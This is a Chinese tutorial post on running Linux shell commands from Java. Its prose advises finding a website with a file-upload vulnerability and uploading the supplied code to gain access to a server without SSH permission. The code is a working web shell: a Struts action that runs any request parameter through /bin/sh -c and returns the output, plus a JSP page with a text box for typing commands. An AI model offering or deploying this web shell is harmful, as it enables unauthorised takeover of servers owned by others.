如何用java调用linux shell命令?
如何在远程调用shell命令操作linux呢?如果你是有远程连接权限的话,那么可以使用putty来连接的,putty是基于ssh协议来连接 的,ssh的默认端口是22,但是一般即使一个服务器开启了ssh,那么也不可能是22端口,肯定是改动端口号的。但是如果你没有远程连接的权限呢?或者 是服务器根本就没有开启ssh呢?怎么办?
一种方式是,如果你是在这个服务器上有自己的项目,那么好了,你就基本上拿到了权限了,如果你没有在这个服务器上有项目,那么可以检测一个网站是否有上传漏洞,如果有的话,可以将以下的代码上传上去,也同样可以拿到权限。
package
action.fg;
import
java.io.BufferedReader;
import
java.io.InputStreamReader;
import
java.io.PrintWriter;
import
javax.servlet.http.HttpServletRequest;
import
javax.servlet.http.HttpServletResponse;
import
org.apache.commons.logging.Log;
import
org.apache.commons.logging.LogFactory;
import
org.apache.struts.action.ActionForm;
import
org.apache.struts.action.ActionForward;
import
org.apache.struts.action.ActionMapping;
import
org.apache.struts.action.DynaActionForm;
import
org.apache.struts.actions.DispatchAction;
public
class
LinuxAction
extends
DispatchAction{
private
final
Log logger = LogFactory.getLog(
this
.getClass());
public
ActionForward ls_List(ActionMapping mapping, ActionForm form,
HttpServletRequest req, HttpServletResponse res)
throws
Exception {
PrintWriter out = res.getWriter();
try
{
DynaActionForm letterForm = (DynaActionForm) form;
String str=letterForm.getString(
"str"
);
String listStr=callShell_ls(str);
out.print(listStr);
}
catch
(Exception e){
e.printStackTrace();
logger.info(
"ls_List error:"
+e.getMessage());
}
return
null
;
}
public
String callShell_ls(String lsStr){
StringBuffer sb =
new
StringBuffer();
try
{
String[] cmd =
new
String[]{
"/bin/sh"
,
"-c"
, lsStr};
logger.info(
"执行ING。。。。。"
+cmd.toString());
Process ps = Runtime.getRuntime().exec(cmd);
BufferedReader br =
new
BufferedReader(
new
InputStreamReader(ps.getInputStream()));
String line;
while
((line = br.readLine()) !=
null
) {
sb.append(line).append(
"<br/>"
);
}
logger.info(
"执行完成,字符串为:"
+sb.toString());
}
catch
(Exception e) {
e.printStackTrace();
logger.info(
"callShell_ls error:"
+e.getMessage());
}
return
sb.toString();
}
public
ActionForward start(ActionMapping mapping, ActionForm form,
HttpServletRequest req, HttpServletResponse res)
throws
Exception {
PrintWriter out = res.getWriter();
try
{
DynaActionForm letterForm = (DynaActionForm) form;
callShell_ls(
"./start.sh"
);
String listStr=callShell_ls(
"tail -f ./logs/catalina.out"
);
out.print(listStr);
}
catch
(Exception e){
e.printStackTrace();
logger.info(
"start error:"
+e.getMessage());
}
return
null
;
}
public
ActionForward stop(ActionMapping mapping, ActionForm form,
HttpServletRequest req, HttpServletResponse res)
throws
Exception {
PrintWriter out = res.getWriter();
try
{
DynaActionForm letterForm = (DynaActionForm) form;
callShell_ls(
"./stop.sh"
);
String listStr=callShell_ls(
"tail -f ./logs/catalina.out"
);
out.print(listStr);
}
catch
(Exception e){
e.printStackTrace();
logger.info(
"stop error:"
+e.getMessage());
}
return
null
;
}
}
|
解下来就写一个页面来使用了。
<%@ page language="java" contentType="text/html; charset=UTF-8"
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<
html
>
<
head
>
<
meta
http-equiv
=
"Content-Type"
content
=
"text/html; charset=UTF-8"
>
<
title
>ls</
title
>
<
script
type
=
"text/javascript"
src="<%=request.getContextPath()%>/js/jquery-1.4.2.min.js"></
script
>
<
script
type
=
"text/javascript"
>
function postShell(){
var res=$("#resultDiv");
var shell=$("#shellStr").val();
if(shell==""){
alert("不能为空");
}else{
$.ajax( {
type : "POST",
url : "linux.do",
data : "method=ls_List&str="+shell,
success : function(msg) {
res.html(msg);
}
})
}
}
</
script
>
</
head
>
<
body
>
<
div
style
=
"width:100%;height:100%;background-color:#eee;"
>
<
div
style
=
"float:left;width:700px;height:600px;overflow: auto;"
>
<
div
style
=
"width:700px;height:600px;overflow: auto;border:1px solid #ccc;background-color:#000;color:#fff;"
id
=
"resultDiv"
>
</
div
>
</
div
>
<
div
style
=
"float:left:width:400px;padding-top:100px;"
>
<
table
>
<
tbody
>
<
tr
>
<
td
>
<
textarea
rows
=
"5"
cols
=
"50"
id
=
"shellStr"
></
textarea
>
</
td
>
</
tr
>
<
tr
>
<
td
>
<
input
value
=
"提交"
type
=
"button"
onClick
=
"postShell();"
style
=
"width:100px;height:30px;"
/>
</
td
>
</
tr
>
</
tbody
>
</
table
>
</
div
>
</
div
>
</
body
>
</
html
>
然后你就可以使用shell命令了。